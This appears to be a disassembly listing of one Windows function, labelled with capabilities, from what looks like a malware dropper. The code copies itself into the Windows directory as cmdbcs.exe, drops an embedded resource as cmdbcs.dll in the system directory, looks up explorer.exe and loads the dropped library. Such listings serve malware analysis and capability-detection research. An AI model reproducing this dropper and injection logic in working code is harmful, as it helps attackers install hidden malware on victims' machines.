Function at 0x401283
Capabilities:
Copy file
Create thread
Delete file
Extract resource via kernel32 functions
Get common file path
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
mov esi, str.68483277
xor ebx, ebx
push esi
push ebx
push 0x1f0003
call dword [sym.imp.KERNEL32.DLL_OpenEventA]
test eax, eax
jne 0x401671
push esi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
push 0x1f4
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, 0x104
lea eax, [ebp - 0x220]
push esi
push eax
push ebx
mov byte [ebp - 1], 1
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
lea eax, [ebp - 0x428]
push esi
push eax
lea eax, [ebp - 0x220]
push eax
call edi
lea eax, [ebp - 0x220]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x11c]
push esi
push eax
lea eax, [ebp - 0x220]
push eax
call edi
lea eax, [ebp - 0x220]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x324]
push esi
push eax
lea eax, [ebp - 0x220]
push eax
call edi
lea eax, [ebp - 0x11c]
push 0x403224
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x11c]
push str.cmdbcs.dll
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x324]
push 0x403224
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x324]
push str.cmdbcs.exe
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x20
call fcn.004016c9
push ebx
push ebx
push ebx
push 0x401a6f
push 0x400
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 2
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
push 0x3e8
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
call fcn.004018da
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0xc
test eax, eax
je 0x401487
lea eax, [ebp - 0x324]
push ebx
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
jne 0x401472
push 0xa
push str.cmdbcs.exe
call fcn.00401a03
pop ecx
lea eax, [ebp - 0x220]
pop ecx
mov dword [0x403016], 0x6578652e
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x324]
push esi
push eax
lea eax, [ebp - 0x220]
push eax
call edi
lea eax, [ebp - 0x324]
push 0x403224
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x324]
push str.cmdbcs.exe
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x324]
push ebx
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x324]
push eax
push str.cmdbcs
call fcn.00401863
pop ecx
pop ecx
jmp 0x40148a
mov byte [ebp - 1], bl
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push 0x403220
push 0x65
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
push eax
mov dword [ebp - 0x10], eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push ebx
push 0x80
push 2
push ebx
push 1
lea eax, [ebp - 0x11c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x401583
push 0xa
push str.cmdbcs.dll
call fcn.00401a03
pop ecx
lea eax, [ebp - 0x220]
pop ecx
mov dword [0x403022], 0x6c6c642e
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x11c]
push esi
push eax
lea eax, [ebp - 0x220]
push eax
call edi
lea eax, [ebp - 0x11c]
push 0x403224
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x11c]
push str.cmdbcs.dll
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x11c]
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x40167e
lea eax, [ebp - 0x18]
push ebx
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x14]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_FreeResource]
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0xc8
call esi
push str.explorer.exe
call fcn.004017d8
cmp eax, ebx
pop ecx
je 0x40160c
cmp byte [ebp - 1], bl
jne 0x4015d2
mov byte [ebp - 0x428], bl
push eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00401074
add esp, 0xc
cmp eax, ebx
je 0x40160c
push eax
call edi
push 0x7d0
call esi
cmp dword [ebp - 0xc], ebx
je 0x401605
push dword [ebp - 0xc]
call fcn.004018da
pop ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x401677
mov ecx, dword [eax + 0x30]
mov edx, dword [eax + 0x34]
cmp ecx, ebx
mov dword [ebp - 0x14], edx
je 0x401668
cmp edx, ebx
je 0x401668
call ecx
push str.68483277
push ebx
push 0x1f0003
call dword [sym.imp.KERNEL32.DLL_OpenEventA]
cmp eax, ebx
jne 0x40165f
push 0x64
call esi
cmp dword [ebp - 0xc], ebx
je 0x401633
push dword [ebp - 0xc]
call fcn.004018da
pop ecx
mov dword [ebp - 0xc], ebx
jmp 0x401633
push eax
call edi
call dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
jmp 0x401677
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x7d0
call esi
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10